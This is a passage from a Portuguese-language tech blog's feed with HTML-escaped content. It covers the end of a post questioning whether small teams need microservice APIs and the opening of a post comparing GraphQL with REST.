de fazer com que os serviços dentro da mesma se comuniquem, &lt;em&gt;APIs REST&lt;/em&gt; são a forma mais comum para esse tipo de comunicação.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/d084a44a068510bf7c7a22d87b45a69c/ce92a/microservice-diagram.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 100%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAABcRAAAXEQHKJvM/AAACgklEQVQ4y51US2sTURSe3yG4FXQpoiDoQmh3CoIlm9RixCpYHyCILuzCiCjW0tqFFlFBqhSMYkl1IWntw9Sq+KixtrQ+Ups0sZ3EmGQyM5lkPufczL1Oy0ylHrjMfZzzne885khwEdM0a99q1fvN/q4UCR5StcHktIxQdwiRUASGUVkVzBOQGyj5Ik7sO4NN63zYvL4Bty/fEc7WxLBaqbGLRd9h+4ZGNPnb4NsbhH9XC3K5og3qAUie+OLseLipeAJ7tgSwc9tJbN14EOcC52HWlGB6LMktVOd+ODyCA/XHcbqxFXOzP/6dQ0o0MarYYdJX18tQVR2lkgZNN5CRc8jnFbYvKdad9Va29rVoTMumwuwIRyLFG119ePNqmj2QgW4pkwIBKorKzmpJZ3sCozdNKzPdctlAf98YensGagwz8m8cO9yJkecTIhxaxaLK2kS1AYg1A7aZc13DMNBx5QGuXX34t8rZbJ555iEXCiWRJ2LAW4X3Id39smw4sKbpjAAD5OWfi6cRfjxmKRYE8NPwOGZnEiLhlJahgfcMkEAS84vMhgMTlsSLQcZHD3XgZzrLzgtJGc1NbYg8eysALwXvI9h6V7CPjsbgb7jAdAUgf0wtyPj86TsUizo5oSLEJr4imVgSYU5NxvHtS5KdKfx0KiNseE6llX1FlS5aOeS543lzCjmjnLn1reT2h5CwfrNaY2Z6Hre6n6D33iCymbxoI+cQcWJIbmOJNywJtUPdjlPYXXcWo8Mfl+m4jTLJa9bxYt283o8jgXa0NHfiZXRy2fBwgnpOG67EAbvaH2G/7yJbL2yGax5fTrZLizkMDX7A6/Ep1nv/NWDdps9qd075A/B95KZx+kzoAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Diagrama de uma arquitetura orientada a microsserviços&quot;
        title=&quot;Uma visão muito simplista de uma arquitetura baseada em microsserviços (jaxenter.com)&quot;
        src=&quot;/static/d084a44a068510bf7c7a22d87b45a69c/e5715/microservice-diagram.png&quot;
        srcset=&quot;/static/d084a44a068510bf7c7a22d87b45a69c/8514f/microservice-diagram.png 192w,
/static/d084a44a068510bf7c7a22d87b45a69c/804b2/microservice-diagram.png 384w,
/static/d084a44a068510bf7c7a22d87b45a69c/e5715/microservice-diagram.png 768w,
/static/d084a44a068510bf7c7a22d87b45a69c/4ad3a/microservice-diagram.png 1152w,
/static/d084a44a068510bf7c7a22d87b45a69c/ce92a/microservice-diagram.png 1459w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Uma visão muito simplista de uma arquitetura baseada em microsserviços (jaxenter.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Não importando se as &lt;em&gt;APIs&lt;/em&gt; serão públicas ou privadas (como no exemplo do &lt;em&gt;Netflix&lt;/em&gt;), a sua necessidade é clara. Mais que isso, elas são
partes fundamentais da arquitetura em si, e proporcionam o tipo de interface e abstração que faz com que a arquitetura de microsserviços fique
cada dia mais popular, principalmente em empresas com uma grande quantidade de desenvolvedores e projetos.&lt;/p&gt;
&lt;h3&gt;Em contrapartida...&lt;/h3&gt;
&lt;p&gt;Você não é o &lt;em&gt;Netflix&lt;/em&gt;. Ou o &lt;em&gt;Google&lt;/em&gt;. Ou o &lt;em&gt;Uber&lt;/em&gt;. &lt;a href=&quot;https://m.signalvnoise.com/the-majestic-monolith/&quot;&gt;Nas palavras de &lt;em&gt;David Heinemeier Hansson&lt;/em&gt;&lt;/a&gt;,
&lt;em&gt;microservices&lt;/em&gt; é:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(...) a great pattern. No, really. Not being sarcastic here. If you’re Amazon or Google or any other software organization with thousands of developers, it’s a wonderful way to parallelize opportunities for improvement. Each service can be its own team with its own timeline, staff, and objectives. It can evolve independently, at least somewhat, of whatever else the rest of the constellation is doing.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Todos os prós de utilizar microsserviços vêm com um preço, e reverter essa decisão não costuma ser uma das experiências mais prazerosas,
como descreve &lt;em&gt;Thomas Betts&lt;/em&gt;, no &lt;a href=&quot;https://www.infoq.com/news/2020/04/microservices-back-again/&quot; title=&quot;Leia na íntegra no InfoQ&quot;&gt;&lt;em&gt;To Microservices and Back Again - Why Segment Went Back to a Monolith&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Tive a oportunidade de trabalhar por dois anos em uma empresa que utiliza esse tipo de arquitetura, e confesso que o isolamento do teu domínio, juntamente com
a flexibilidade e controle sobre o que você está executando e entregando, é incrível. Mas sem um time de &lt;em&gt;DevOps&lt;/em&gt; para dar o devido suporte,
não consigo nem imaginar o quão traumática essa experiência poderia ser.&lt;/p&gt;
&lt;iframe src=&quot;https://www.youtube.com/embed/y8OnoxKotPQ&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;Todo o &lt;em&gt;buzz&lt;/em&gt; em volta de &lt;em&gt;SOA&lt;/em&gt; e &lt;em&gt;microservices&lt;/em&gt; fez com que automaticamente aplicações monolíticas passassem a ser &quot;o que há de pior na sua stack&quot;.
Se ontem lemos um artigo sobre todo o &lt;em&gt;lore&lt;/em&gt; dos microsserviços, &lt;a href=&quot;https://changelog.com/posts/monoliths-are-the-future&quot; title=&quot;Monoliths are the future&quot;&gt;amanhã estamos com um serrote desmembrando um monolito&lt;/a&gt;, e no fim do dia a motivação era porque não aguentamos
mais lidar com conflitos no &lt;em&gt;Git&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Se &lt;em&gt;APIs&lt;/em&gt; for pura e simplesmente um efeito colateral da decisão de &quot;provar&quot; o mundo dos microsserviços, eu volto a citar o &lt;em&gt;DHH&lt;/em&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Run a small team, not a tech behemoth? Embrace the monolith and make it majestic. You Deserve It!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Agora, se &lt;em&gt;microservices&lt;/em&gt; é a resposta para os seus problemas, &lt;em&gt;API FTW&lt;/em&gt;!&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;A motivação para esse artigo veio depois de uma palestra que dei sobre &lt;em&gt;API-First&lt;/em&gt;, no &lt;a href=&quot;https://www.youtube.com/watch?v=cx8JGC_vrM8&amp;#x26;list=PLEpW1LzVyQWhqb_OoWtURF5cfKSGof0It&amp;#x26;index=3&quot; title=&quot;API First Design and Django&quot;&gt;&lt;em&gt;DjangoDay 2020&lt;/em&gt;&lt;/a&gt;. Nos
corredores, conversei com alguns participantes do evento e sob a ótica deles eu pude ter um vislumbre do quão
&quot;desconfortável&quot; pode ser a adoção de um processo mais rígido visando a sua prática.&lt;/p&gt;
&lt;p&gt;Em um dos diálogos, a analogia com &lt;a href=&quot;/tag/tdd.html&quot; title=&quot;Leia mais sobre TDD&quot;&gt;&lt;em&gt;TDD&lt;/em&gt;&lt;/a&gt; e &lt;em&gt;test-first&lt;/em&gt; apareceu. E se por um
lado ela pode ser encarada como algo positivo, por se referir a uma excelente ferramenta de &lt;em&gt;design&lt;/em&gt; e engenharia de &lt;em&gt;software&lt;/em&gt;;
Por outro me fez refletir sobre todo o esforço e frustração que tenho até hoje em praticar &lt;em&gt;test-first&lt;/em&gt; (o que não me impede de ter cobertura de testes, e utilizar testes como ferramenta de &lt;em&gt;design&lt;/em&gt; de código).&lt;/p&gt;
&lt;p&gt;No final, é tudo uma questão de contexto (e do famigerado &quot;depende&quot;). &lt;em&gt;APIs&lt;/em&gt; nem sempre fazem parte da necessidade de projeto em seu início, mas passam a ser depois de alguns &lt;em&gt;sprints&lt;/em&gt;
e descobertas que o time vai fazendo. Portanto, dependendo do ponto específico no tempo em que seu projeto esteja, você não precisa de uma &lt;em&gt;API&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;E está tudo bem! Lembre-se que &lt;a href=&quot;https://www.exceptionnotfound.net/kiss-dry-yagni-good-code-basic-training/&quot; title=&quot;KISS, DRY, YAGNI - Good Code Basic Training&quot;&gt;&lt;em&gt;YAGNI&lt;/em&gt;&lt;/a&gt;
é um bom padrão para se ter embaixo do braço.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://medium.com/better-programming/do-not-follow-javascript-trends-ca2f0dc19ec1&quot;&gt;Better Programming - Don&apos;t follow Javascript trends&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://changelog.com/posts/monoliths-are-the-future&quot;&gt;Changelog - Monoliths are the future&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.humphd.org/fool-stack-programmer/&quot;&gt;David Humphrey - How to become a Fool Stack Programmer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.freecodecamp.org/news/how-to-build-your-first-saas/&quot;&gt;FreeCodeCamp - The SaaS Handbook: How to Build Your First Software-as-a-Service Product Step-By-Step&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://hackernoon.com/how-microservices-saved-the-internet-30cd4b9c6230&quot;&gt;Hackernoon - How Microservices Saved the Internet&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.infoq.com/news/2020/04/microservices-back-again/&quot;&gt;InfoQ - To Microservices and Back Again - Why Segment Went Back to a Monolith&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.lifewire.com/what-is-a-mashup-3486655&quot;&gt;Lifewire - What is a Web Mashup?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.mulesoft.com/resources/api/what-is-an-api-economy&quot;&gt;MuleSoft - What is the API Economy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.redhat.com/pt-br/topics/microservices/what-are-microservices&quot;&gt;Red Hat - O que são os microsserviços?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://m.signalvnoise.com/stimulus-1-0-a-modest-javascript-framework-for-the-html-you-already-have/&quot;&gt;Signal V. Noise - Stimulus 1.0: A modest JavaScript framework for the HTML you already have&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://m.signalvnoise.com/the-majestic-monolith/&quot;&gt;Signal V. Noise - The Majestic Monolith&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.sitepoint.com/do-you-need-an-api/&quot;&gt;Sitepoint - Do you need an API?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://macwright.com/2020/05/10/spa-fatigue.html&quot;&gt;Tom MacWright - Second-guessing the modern web&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Além do REST com GraphQL]]></title><description><![CDATA[Construir APIs virou uma das coisas mais comuns no que tange
o desenvolvimento web. Não obstante,
escolher uma biblioteca ou framework com…]]></description><link>https://klauslaube.com.br/2020/07/01/alem-do-rest-com-graphql.html</link><guid isPermaLink="false">https://klauslaube.com.br/2020/07/01/alem-do-rest-com-graphql.html</guid><pubDate>Wed, 01 Jul 2020 17:17:00 GMT</pubDate><content:encoded>&lt;p&gt;Construir &lt;a href=&quot;/tag/api.html&quot; title=&quot;Leia mais sobre API&quot;&gt;&lt;em&gt;APIs&lt;/em&gt;&lt;/a&gt; virou uma das coisas mais comuns no que tange
o &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre Desenvolvimento Web&quot;&gt;desenvolvimento &lt;em&gt;web&lt;/em&gt;&lt;/a&gt;. Não obstante,
escolher uma biblioteca ou &lt;em&gt;framework&lt;/em&gt; com bom suporte a &lt;a href=&quot;/tag/rest.html&quot; title=&quot;Leia mais sobre REST&quot;&gt;&lt;em&gt;REST&lt;/em&gt;&lt;/a&gt;
é parte fundamental da tomada de decisão ao iniciar um projeto.&lt;/p&gt;
&lt;p&gt;Em tempos de &lt;a href=&quot;/tag/api-first.html&quot; title=&quot;Leia mais sobre API-First&quot;&gt;&lt;em&gt;API-First&lt;/em&gt;&lt;/a&gt;, debater arquitetura, &lt;em&gt;design&lt;/em&gt;, e considerar
opções deve fazer parte da concepção de um produto (por mais &quot;padrãozinho&quot; que ele possa parecer). E nessa etapa,
questionar a adoção do &lt;em&gt;REST&lt;/em&gt; pode resultar em impactos positivos, dependendo do contexto e público alvo.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/dac3490bcce8498d625c88aa1a1cf667/72e01/graph.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 70.83333333333333%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAOABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAECBf/EABQBAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhADEAAAAe9NQoP/xAAWEAEBAQAAAAAAAAAAAAAAAAARACD/2gAIAQEAAQUCZz//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/AT//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/AT//xAAUEAEAAAAAAAAAAAAAAAAAAAAg/9oACAEBAAY/Al//xAAYEAADAQEAAAAAAAAAAAAAAAAAAREQQf/aAAgBAQABPyF9DFITP//aAAwDAQACAAMAAAAQUM//xAAVEQEBAAAAAAAAAAAAAAAAAAAQQf/aAAgBAwEBPxCn/8QAFhEAAwAAAAAAAAAAAAAAAAAAARBh/9oACAECAQE/EBV//8QAGRABAAMBAQAAAAAAAAAAAAAAAQARIVFh/9oACAEBAAE/EADCnmxjgCawDelmMSo7Aiu2+yjk/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Grafos, árvores e florestas&quot;
        title=&quot;Grafos! Grafos everywhere! (sitepoint.com)&quot;
        src=&quot;/static/dac3490bcce8498d625c88aa1a1cf667/212bf/graph.jpg&quot;
        srcset=&quot;/static/dac3490bcce8498d625c88aa1a1cf667/7809d/graph.jpg 192w,
/static/dac3490bcce8498d625c88aa1a1cf667/4ecad/graph.jpg 384w,
/static/dac3490bcce8498d625c88aa1a1cf667/212bf/graph.jpg 768w,
/static/dac3490bcce8498d625c88aa1a1cf667/72e01/graph.jpg 1024w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Grafos! Grafos everywhere! (sitepoint.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Uma das alternativas é o &lt;em&gt;GraphQL&lt;/em&gt;. E agora, com o &lt;em&gt;hype&lt;/em&gt; ao redor da tecnologia um pouco mais frio, dá para falar
sobre ela com menos paixão e mais razão.&lt;/p&gt;
&lt;h2&gt;Antes de ir: O que é REST, mesmo?&lt;/h2&gt;
&lt;p&gt;Para a comparação ficar mais rica, é fundamental que haja um entendimento sobre o que é &lt;em&gt;REST&lt;/em&gt;. Já exploramos
o conceito nos dois artigos abaixo:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;/2016/01/06/rest-parte-1.html&quot; title=&quot;Leia mais sobre o conceito e um comparativo com SOAP&quot;&gt;REST - Parte 1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/2016/05/20/rest-parte-2.html&quot; title=&quot;Veja uma aplicação prática com Python e Hug&quot;&gt;REST - Parte 2&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ou se você preferir, o &lt;a href=&quot;https://en.wikipedia.org/wiki/Representational_state_transfer&quot; title=&quot;REST na Wikipedia&quot;&gt;artigo na &lt;em&gt;Wikipedia&lt;/em&gt;&lt;/a&gt;
é uma referência bem completa.&lt;/p&gt;
&lt;h2&gt;O que é GraphQL?&lt;/h2&gt;
&lt;p&gt;Bom, definitivamente não é mais um &lt;em&gt;framework&lt;/em&gt; &lt;a href=&quot;/tag/javascript.html&quot; title=&quot;Leia mais sobre Javascript&quot;&gt;&lt;em&gt;Javascript&lt;/em&gt;&lt;/a&gt;.
E dizer que é unicamente um &lt;em&gt;query language&lt;/em&gt; é uma afirmação incompleta.&lt;/p&gt;
&lt;p&gt;Segundo &lt;a href=&quot;https://adrianolisboa.com/o-minimo-que-voce-precisa-saber-sobre-graphql-para-nao-passar-vergonha-em-uma-conversa/&quot; title=&quot;O mínimo que você precisa saber sobre GraphQL para não passar vergonha em uma conversa&quot;&gt;&lt;em&gt;Adriano Lisboa&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Resumidamente, GraphQL é uma especificação open-source de uma linguagem de consulta criada pelo Facebook.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Hoje mantido pela &lt;a href=&quot;https://foundation.graphql.org/&quot; title=&quot;An open and neutral home for the GraphQL community&quot;&gt;&lt;em&gt;GraphQL Foundation&lt;/em&gt;&lt;/a&gt;, sob a licença &lt;a href=&quot;https://github.com/graphql/graphql-spec/blob/master/signed-agreements/Facebook-GraphQL-OWFa1.0.pdf&quot; title=&quot;Open Web Foundation License&quot;&gt;&lt;em&gt;OWFa 1.0&lt;/em&gt;&lt;/a&gt;, o &lt;em&gt;GraphQL&lt;/em&gt; não só é uma linguagem de consulta, como também de manipulação.&lt;/p&gt;
&lt;p&gt;É possível fazer uma analogia ao &lt;em&gt;SQL&lt;/em&gt; (Linguagem de Consulta Estruturada), que também é uma especificação que
possui diferentes implementações, e que realiza consulta e manipulação de dados. Só que ao contrário (das implementações) do &lt;em&gt;SQL&lt;/em&gt;, o &lt;em&gt;GraphQL&lt;/em&gt; não é um banco de dados em si,
como ilustra o &lt;a href=&quot;https://www.howtographql.com/basics/0-introduction/&quot; title=&quot;Basics Tutorial - Introduction&quot;&gt;&lt;em&gt;How to GraphQL&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;GraphQL is often confused with being a database technology. This is a misconception, GraphQL is a query language for APIs - not databases. In that sense it’s database agnostic and effectively can be used in any context where an API is used.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;E por ser uma linguagem de consulta para &lt;em&gt;APIs&lt;/em&gt;, que ela se encaixa como uma alternativa ao &lt;em&gt;REST&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Qual a sua principal vantagem em relação ao REST?&lt;/h2&gt;
&lt;p&gt;Um dos problemas fundamentais do &lt;em&gt;REST&lt;/em&gt; é a flexibilidade do dado sendo transmitido. Quando diferentes
clientes, com diferentes necessidades, começam a consumir a sua &lt;em&gt;API&lt;/em&gt;, é possível que você enfrente um fenômeno
conhecido por &lt;em&gt;over-fetching&lt;/em&gt; e &lt;em&gt;under-fetching&lt;/em&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;over-fetching:&lt;/strong&gt; É quando você está recebendo dados demais, não necessários para o seu propósito, em sua requisição;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;under-fetching:&lt;/strong&gt; O oposto. Quando você não recebe dados o suficiente, e precisa realizar outras chamadas para cumprir o seu propósito.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/f02fbf1fdad736c5ea5cd5225bac197e/f238d/graphql-rest-calls.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 81.77083333333334%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAABwElEQVQoz22SOY4CQQxF637knAJEREIIIQknQEQchASRkEDAIvZN7PvQ3fQyb/pD00LjoORy+dvf32V83w+C4HA4DIfD6/XK1bZtz/Mcx3k+n15o+I/Hg7iCnEDIN6fTCa/T6ZTL5eVyScZut7Msi/N8PoP5Cc0OzXVdkufzeT6fL5VKptfrESW7Xq8HoVEYIiBvtxttiYAhyEktrv1+P5lMZrNZo2KQWa1WAsvf7/dMQU/w5BBkIhyudLrf761WywigyWXqFo9HEmhgzQw7E4fFzQ8tKieMNOOkyvF4fIHH43GtVluv118sokFEW0/qjFhmMpkQms1m1WqVYjygP7VhdblcGA+RmFCiYuqUSqUKhYJhXWKCAKoKBgBSc0otgsDIoYrA6XT6DyxiZNA2YrVYLLbbLWunv9Yr2vozWtBgMDD/TijCGL5UcGKmJxZpvrbytaroKQ4WF6R5dZ5Op41GY7PZ4FMV2vwTPpkKSe2o6Id2u93mAc0rlQr/WW84aCOpI810ktDtdhOJRCaTMXTTj2s2mzxACT5EBFZP622sAKbQzOVyxWLxozYi4WhJ5CE+jtZLkBLS3A2NzNFo9AuC8ojMmPuqnAAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Diagrama com três diferentes chamadas REST para os endpoints de perfil do usuário, artigos, e seguidores&quot;
        title=&quot;Imagine uma aplicação com a necessidade de exibir o perfil do usuário, seus artigos e seguidores, em uma mesma visualização (howtographql.com)&quot;
        src=&quot;/static/f02fbf1fdad736c5ea5cd5225bac197e/e5715/graphql-rest-calls.png&quot;
        srcset=&quot;/static/f02fbf1fdad736c5ea5cd5225bac197e/8514f/graphql-rest-calls.png 192w,
/static/f02fbf1fdad736c5ea5cd5225bac197e/804b2/graphql-rest-calls.png 384w,
/static/f02fbf1fdad736c5ea5cd5225bac197e/e5715/graphql-rest-calls.png 768w,
/static/f02fbf1fdad736c5ea5cd5225bac197e/4ad3a/graphql-rest-calls.png 1152w,
/static/f02fbf1fdad736c5ea5cd5225bac197e/71c1d/graphql-rest-calls.png 1536w,
/static/f02fbf1fdad736c5ea5cd5225bac197e/f238d/graphql-rest-calls.png 2078w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Imagine uma aplicação com a necessidade de exibir o perfil do usuário, seus artigos e seguidores, em uma mesma visualização (howtographql.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Já com a flexibilidade do &lt;em&gt;GraphQL&lt;/em&gt;, é possível obter toda a informação necessária através de uma consulta, como ilustrado
no diagrama abaixo:&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/85b85e0b1d2d0b3c85bfdc060c64d58c/e405b/graphql-query.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 60.416666666666664%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAABSElEQVQoz41RS27CMBD1gbhPOQWHYEu5Sw5QDoBAYgOLRuqmXSTggmMnjj+JnT7HkPJRK54iZTIzb96bCelu4ZzLjvtvwbTWjDEhBILuDxB0e++vU9Y1VBW2scg/Vm/Ij6m2bQtTlqYGjDGRjClGm/BY0/Sw1pLdbpemqVJqIKOgnHFB9VcWU/DRuvYaZDqdzmYzzjk6ICV7NbwEFyjbHrqH/Sj80YhKzF/nk8lkuVySzWazWq3AlFJSSk+nE7oR5HkeptS1qlXPNfLty71zyo/jl/FoNEqShMDzdruNq4YLiyLs6Rwy/oKzbdN2ziNYr9eLxSLLMgIp6MTWzndUskPF4BmDMC7eJvwCmLfhXsBw1/tr45hlU9dWY4uqqsoeke8uiBMDeTA2kD/lYc/oPssj5x/cK8OebJTSihcF4vM6z5Cjme5p/AAv47GwOSvUWgAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Diagrama com apenas uma requisição HTTP, utilizando GraphQL, e consultando por perfil do usuário, seus artigos e seguidores&quot;
        title=&quot;Através de uma requisição HTTP, o cliente é capaz de obter os dados na medida certa (howtographql.com)&quot;
        src=&quot;/static/85b85e0b1d2d0b3c85bfdc060c64d58c/e5715/graphql-query.png&quot;
        srcset=&quot;/static/85b85e0b1d2d0b3c85bfdc060c64d58c/8514f/graphql-query.png 192w,
/static/85b85e0b1d2d0b3c85bfdc060c64d58c/804b2/graphql-query.png 384w,
/static/85b85e0b1d2d0b3c85bfdc060c64d58c/e5715/graphql-query.png 768w,
/static/85b85e0b1d2d0b3c85bfdc060c64d58c/4ad3a/graphql-query.png 1152w,
/static/85b85e0b1d2d0b3c85bfdc060c64d58c/71c1d/graphql-query.png 1536w,
/static/85b85e0b1d2d0b3c85bfdc060c64d58c/e405b/graphql-query.png 1566w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Através de uma requisição HTTP, o cliente é capaz de obter os dados na medida certa (howtographql.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Vale lembrar que existe complementos ao &lt;em&gt;REST&lt;/em&gt; que possibilitam uma maior flexibilidade do
&lt;em&gt;payload&lt;/em&gt; (como por exemplo, passar quais campos você quer coletar através de &lt;em&gt;query string&lt;/em&gt;),
ainda assim é necessário salientar a legibilidade e até mesmo elegância da consulta realizada no exemplo acima.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://dev.to/mshossain110/3-major-rest-api-problem-can-solve-using-graphql-1dg2&quot; title=&quot;3 major REST API problem can solve using GraphQL&quot;&gt;Leia sobre outras vantagens do &lt;em&gt;GraphQL&lt;/em&gt; em comparação ao &lt;em&gt;REST&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Qual a sua principal desvantagem em relação ao REST?&lt;/h2&gt;
